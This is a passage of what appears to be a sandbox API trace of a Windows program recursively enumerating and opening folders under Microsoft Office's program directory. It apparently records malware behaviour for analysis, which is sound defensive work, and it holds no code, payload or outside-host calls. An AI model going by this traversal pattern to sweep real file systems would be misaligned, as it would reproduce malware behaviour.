lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic 2.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0072.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1a6f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b1a6f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="")) returned 1 [0072.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0072.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0072.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xeff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0072.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0072.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0072.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0072.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0072.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0072.424] GetLastError () returned 0x12 [0072.424] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0072.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="")) returned 1 [0072.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.thmx", cAlternateFileName="")) returned 1 [0072.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.thmx", cAlternateFileName="")) returned 1 [0072.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="")) returned 1 [0072.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="")) returned 0 [0072.425] GetLastError () returned 0x12 [0072.425] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0072.425] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f03d7b0, ftCreationTime.dwHighDateTime=0x1d5928f, ftLastAccessTime.dwLowDateTime=0x978e1a90, ftLastAccessTime.dwHighDateTime=0x1d575c4, ftLastWriteTime.dwLowDateTime=0x978e1a90, ftLastWriteTime.dwHighDateTime=0x1d575c4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmailnotifierpro.exe", cAlternateFileName="")) returned 1 [0072.425] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eab6d90, ftCreationTime.dwHighDateTime=0x1d552be, ftLastAccessTime.dwLowDateTime=0xd83a18a0, ftLastAccessTime.dwHighDateTime=0x1d5512a, ftLastWriteTime.dwLowDateTime=0xd83a18a0, ftLastWriteTime.dwHighDateTime=0x1d5512a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hide-mesa.exe", cAlternateFileName="")) returned 1 [0072.425] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de78ca0, ftCreationTime.dwHighDateTime=0x1d53fa4, ftLastAccessTime.dwLowDateTime=0x7d2ef7a0, ftLastAccessTime.dwHighDateTime=0x1d58d39, ftLastWriteTime.dwLowDateTime=0x7d2ef7a0, ftLastWriteTime.dwHighDateTime=0x1d58d39, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="icq.exe", cAlternateFileName="")) returned 1 [0072.425] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0072.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0072.425] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA" (normalized: "c:\\program files\\microsoft office\\media"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0072.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA" (normalized: "c:\\program files\\microsoft office\\media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0072.425] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0072.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa8dec8 [0072.426] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa8dec8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xa8dec8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0072.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa8dec8) returned 1 [0072.426] NtClose (Handle=0x164) returned 0x0 [0072.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0072.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0072.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25630 [0072.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.426] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0072.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x940000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x940000, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0072.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x940000, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0072.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x940000, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 0 [0072.427] GetLastError () returned 0x12 [0072.427] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0072.427] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0072.427] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x940000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.427] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x940000, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0072.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa750a0 [0072.427] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0072.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0072.427] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0072.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa8dec8 [0072.427] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa8dec8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa8dec8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0072.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa8dec8) returned 1 [0072.428] NtClose (Handle=0x164) returned 0x0 [0072.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa750a0) returned 1 [0072.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa750a0 [0072.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75128 [0072.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa751b0 [0072.428] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0072.485] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, 